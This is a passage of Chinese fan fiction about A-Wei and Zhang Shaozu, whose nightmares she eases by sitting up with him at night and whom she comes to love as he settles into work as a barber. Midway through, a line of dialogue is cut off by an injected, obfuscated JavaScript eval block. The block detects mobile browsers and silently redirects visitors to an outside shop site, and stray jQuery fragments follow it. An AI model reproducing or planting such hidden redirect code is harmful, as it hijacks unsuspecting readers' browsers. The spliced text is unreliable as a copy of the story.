张少祖终归不是龙卷风。
对于阿薇来说,和龙卷风生活了一辈子,不需要太多的适应,直接可以自然的和张少祖生活在一个屋檐下。
但是对于张少祖来说呢,阿薇总归是个刚认识的小女孩,尽管灵魂上的共鸣再熟悉,尽管是照着自己喜好生长的,那也是需要适应的。
于是最常见的状况就是,阿薇需要去医院的日子,张少祖就会起早煮粥,粥都快凉了,阿薇还是没起床。
张少祖就有点犹豫,要不要去敲门呢,敲,感觉有点不太礼貌,不敲,阿薇就要迟到了。
这如果换做是信一,张少祖应该会直接踹门,把信一从床上抖下来。
但是阿薇是女孩子,总不能这么干。
最后终于鼓起勇气去敲门喊阿薇起床,手刚抬起来,阿薇就连滚带爬的冲出卧室。一边梳头一边喊着:“我淦!!来不及了!!”
然后匆匆喊一声:“祖哥晚上见,就跑了。”
只留下一碗凉了的粥,和一个原地破碎的张少祖。
张少祖无奈的看了一眼鞋柜上的包。
两分钟后门开了,阿薇又火箭一样的蹿进来,拿起包,再火箭一样的冲出去。
阿薇不需要去医院的日子呢,一般会睡到日晒三竿,等她爬起来的时候,张少祖已经坐在沙发上边看报纸边喝茶了,或者是边看录像学普通话边喝茶。
阿薇起来后会给自己磨杯咖啡,然后开始放糖,一块,一块,一块,一块,看得张少祖的牙都在隐隐作痛。
接着开始放冰块,一块,一块,一块,一块,现在张少祖牙不疼了,胃挺疼。
就是这种热中式和冰美式的碰撞,两个人的日子倒也安安稳稳非常舒服,当然这是阿薇单方面觉得的。
张少祖其实过得不算好。因为他根本没有办法睡一个完整的觉。
白天可以暂时忘却的事,在晚上总会张牙舞爪,死缠烂打的化做噩梦找他。
一扇门,四个人,都不用做什么动作,往那一杵就是最可怕的梦魇。
阿薇自然是知道的,她大佬龙卷风睡着了是会轻微打呼噜的,那仅仅一门之隔,睡在沙发上的张少祖每晚的辗转反侧,阿薇又怎么会忽视。
典型的 PTSD 情绪闪回,阿薇不是心理医生,不知道怎么给张少祖做心理干预,但是她总想为这个破碎版本的龙卷风做点什么。
睡不着?那干脆一起熬吧,阿薇就这样租了一大堆经典电影录像带回家。
半夜听到张少祖再一次惊醒的阿薇,抱着枕头出来,挤上张少祖的沙发,把录像带往茶几上一摆。
张少祖坐起来:“对不起,吵醒你了?”
“挑一个陪我看看吧,我也睡不着,祖哥。”
张少祖从茶几上拿起眼镜戴上,挑了一个经典的《少林寺》。
“有品位啊,看看这个少林的像不像在俄罗斯玩熊的那位!”阿薇起身把录像带放进机器。
没有开灯的客厅,只有射频电视的光亮,阿薇裹着毯子蜷缩在沙发上,认真的看着屏幕里的李连杰,思考着他和龙卷风还有张少祖谁更能打一点。
张少祖因为吃药而被迫戒烟,老烟枪得不到满足,所以有点烦躁,没法集中精神看电影,他只能翘着二郎腿,靠在沙发上精神神游。
阿薇应该是被毯子捂得有些热了,她把毯子放下一点,撩出了裹在毯子中的头发,头发和毛毯摩擦,发出劈里啪啦的声音。
张少祖顺着声音看过去,阿薇乌黑顺滑的头发,就在他触手可及的地方。
顶级Tony此刻职业病犯了,他忍不住伸手,拿起一缕阿薇的头发,放在手心。
保养得真好,乌黑亮丽,顺滑的像丝绸。张少祖边顺阿薇的头发边感慨。
习惯了被龙卷风打理头发的阿薇,就任由身后的张少祖把玩她的头发,自己则继续把注意力放在电视上。
彩色的屏幕把屋子渲染出斑驳的观澜,电视的声音由功放传出,除了李连杰的声音,阿薇好像还听到了,
张少祖轻微的呼噜声?
“祖哥?”阿薇回头朝张少祖看去。
张少祖已经低着头睡着了,细细小小的呼噜声,和上下起伏的胸膛,证明他现在睡得非常安稳。
他手里还紧紧地抓着阿薇的那一缕头发。
阿薇靠近张少祖,确定他是睡着了,就轻轻地把他眼镜拿下,放在了茶几上。然后抽出自己的头发,推着张少祖的肩膀,把张少祖放平在沙发上,用毯子盖住。
长期缺乏睡眠的张少祖,此时像在干枯的沙漠中突逢甘露,难得的睡眠让他安心,他丝毫没被阿薇吵醒。
张少祖身体虽然不如鼎盛时期的龙卷风,但是依旧是个成年男人,做完这一系列动作,阿薇人都有些微喘了。
她蹑手蹑脚的走过去把电视关上。
再一回身,本来睡得相当安稳的张少祖眉头却皱了起来,呼吸也变得急促了,看样子马上就醒了。
阿薇马上走过去低头摸了一下张少祖的头发,随着阿薇俯身的动作,她乌黑的头发像瀑布一样倾下,落在张少祖的手臂上。
张少祖在梦中顺势抓住一缕,紧皱的眉毛却缓缓打开,呼吸又变得平稳起来。
阿薇突然有点哭笑不得,叱咤风云的□□大佬,也有所谓的阿贝贝?而他的阿贝贝竟然只是一缕头发?
这河里吗?河里!不愧是张少祖,一个把爱岗敬业刻在骨子里的男人!连阿贝贝都是头发!
算了,难得能睡着,陪你一会吧。阿薇这样想着,然后坐在了沙发边缘,细细地观察张少祖,那个总是用沉默回应命运作弄的大佬。
明明是一模一样的脸,但哪怕是睡着,阿薇也知道,这不是她的龙卷风,生活和命运可能是一样的,但是细微的区别,哪怕就是空气中稍微不一样的一点湿度,也会塑造一个完全不同的灵魂。
唯一相同的,可能就是都很迷人吧。
阿薇看着张少祖的脸庞,刚收养阿薇的时候不过20 出头,剑眉星目,嘴唇像花瓣一样。现在老了更是沉稳,举手投足间都是岁月沉淀下来的魅力。
真是好看,阿薇看入了迷。
也不知道这药吃的怎么样,反正也没什么事做,阿薇干脆掀开张少祖的毛毯,把耳朵贴到张少祖的胸口,也没有听诊器,稍微粗略听下肺音。
张少祖简单的穿着一件白色的背心,阿薇侧着头,正好能看到他黝黑胳膊上,占据了半个手臂的过肩龙,耳朵里的肺音突然就不清楚了,剩下的都是张少祖沉稳而有力的心跳,是生命的节奏,是他存在的痕迹。
就在这有节奏的“砰砰”中,困倦袭来,阿薇也迷糊的闭上了眼。
——X——
张少祖这晚没有做噩梦,但是他做了个更奇怪的梦,梦里王九剃了个秃头,带着一只熊,要给他表演胸口碎大石。
那你表演就表演吧,你为什么要把石头放在我的胸口?张少祖沉默的低头,下一秒,王九就和那只熊合二为一。
意思就是,一只熊,长着王九的脸,伸出熊掌就要拍张少祖的胸口的石头。
张少祖吓醒了,这才发现胸口的“石头”竟然是阿薇的脑袋。
阿薇蜷缩在沙发的边缘,半个身子都趴在龙卷风身上,睡得毛茸茸的脑袋正好在龙卷风的胸口。随着她平稳的呼吸,肩膀一起一伏的。
就是姿势有点危险,阿薇稍微一个动作就会滚下沙发。
“薇…薇…小朋友…”张少祖轻轻拍了几下阿薇的后背,尝试把阿薇叫醒。
阿薇很明显不想起,在张少祖的胸口蹭了一下脑袋,发出了小动物一样的哼唧声。
……这,这就是,养女孩的感觉吗!!这个世界的自己也太幸福了吧!!!张少祖在内心发出了像被踩到了肚子的尖叫鸡一样的声音。
啊!小姑娘不想起就不起,想睡就睡!!张少祖把毯子往上拉了一下,包裹住自己和阿薇,并且用手把阿薇圈的更紧了一些,不让阿薇滚下沙发。
两个人的呼吸交融,很快又共同携手宴请周公。直到窗外太阳缓缓升起,街道上有了大爷们早起锻炼的声音。
阿薇揉了揉眼睛,发现自己还趴在张少祖的身上,赶紧起身,这也吵醒了张少祖。
“睡醒了?小朋友…”
“嗯…几点了?”
“8点半。”张少祖看了一眼墙上的表
“还早……淦!!!”阿薇从沙发上弹射起来,“今
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593407|143248||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
天9点有交流会啊!!”
阿薇飞进自己的房间,开始翻找正装,洗漱,张少祖也起身了,进厨房热粥。
十分钟后,阿薇披头散发的出来就要走,张少祖看到了,端出粥,喊住阿薇。
“吃点东西再走,还来得及。”
“来不及了,我得梳头发,狗屁要求,要把头发盘起来。”
“你过来吃,我给你梳。”
阿薇看看桌上的粥,再看看张少祖,丝毫没有犹豫的把梳子朝张少祖抛过去,自己往椅子上一坐,拿起一碗粥开始喝。
张少祖站在阿薇背后,双手穿梭在阿薇的黑发间,小心翼翼的梳理,木梳发出轻微的“沙沙”声。
阿薇喝完那碗粥的时候,张少祖正好打理完阿薇的头发,整齐中带着一点修饰脸型的小碎发,非常搭配阿薇的脸庞。
“厉害啊,这手艺,跟我大佬不相上下。”
张少祖笑了笑没有说话。
“我走了祖哥!晚上见!!”
——X——
当晚回来之后,阿薇为了出行方便,买了辆车,全款提的,一辆崭新的二八大杠。
还给张少祖带了一顶中长假发,假发交到张少祖手里的时候,张少祖愣了很久,才试探性的开口,
“要…要我戴上?”
“不啊,给你搂着睡觉的,我看你握着头发能改善睡眠质量,职业病太严重了。”
“我试试,谢谢你。”
结果自然是,没用。
张少祖依旧是会在梦中惊醒,阿薇盛情邀请张少祖分享一张床铺,被张少祖义正言辞的拒绝了。善良的阿薇到底是没办法看张少祖被噩梦缠绕,干脆每天都趁张少祖惊醒前挤上沙发。
于是北京的张少祖和俄罗斯的龙卷风达到了灵魂上的契合,他们每天都在和王九和熊共舞,背景音乐还是娃娃和小熊跳舞。
只不过一个是在雪里,一个是在梦里。
——X——
虽然没有血缘关系,但是阿薇总算知道信一那强大如AI的大脑,一定是遗传了张少祖。
张少祖仅用了一个星期就能听懂普通话,说还是说不好,经常管自己叫“渣勺祖”,但是生活已经完全没有任何问题了。
于是顶级Tony在院子里最时髦的发廊得到了一份工作,□□大佬人到中年,开启了骑着二八大杠朝九晚五的生活。
并且靠着他精湛的技术和俊美的脸庞。主要还是俊美的脸庞,使得发廊的生意蒸蒸日上。
而阿薇,看着发廊里的莺莺燕燕,上到70奶奶,下到20的妹妹,都排着队等张少祖理发,开始疯狂的散发怨气。
不在沉默中灭亡,就在沉默中让别人灭亡。
阿薇臭着一张脸站在发廊门口,一个常来的姐姐,边排队边笑嘻嘻的搭话。
“小姑娘,又来等你哥哥下班啊?”
“嗯。”
“你哥哥为什么话那么少啊,只是笑不说话。”
“因为他阿尔海默兹了!”
“啊?什么意思?”
“老年痴呆!老年痴呆!不会说话的!”
“天啊,好可怜,好想照顾他。”
阿薇无语的推门而入,张少祖正在帮一个姐姐卷头发,热气扑面而来的一瞬间阿薇就红了眼眶,心里满是酸涩,鼻子也跟着一起发酸。
这是在龙卷风身上从未有过的情绪。
酸涩,苦楚,心中好像有一个恶魔,想毁灭世界,毁灭一切。
莎士比亚说:要当心嫉妒啊,那是一只绿眼的恶魔,他惯于耍弄爪下的猎物!
阿薇:我就嫉妒怎么了?
于是阿薇带着委屈看向张少祖,张少祖也看到阿薇了,对她回了一个非常温和包容的微笑。就是这样一个微笑又把阿薇哄好了。
那么一丁点甜,就填满了阿薇心中一整个酸涩的海洋。
在那一刻阿薇明白了自己的心意。
人可以不吃饭,可以不睡觉,甚至可以不呼吸。
但是不可能不在朝夕相处间爱上张少祖,他是神明,是救赎,是不同于龙卷风的另一种包容。
她喜欢龙卷风,尊敬龙卷风。
但是她爱张少祖。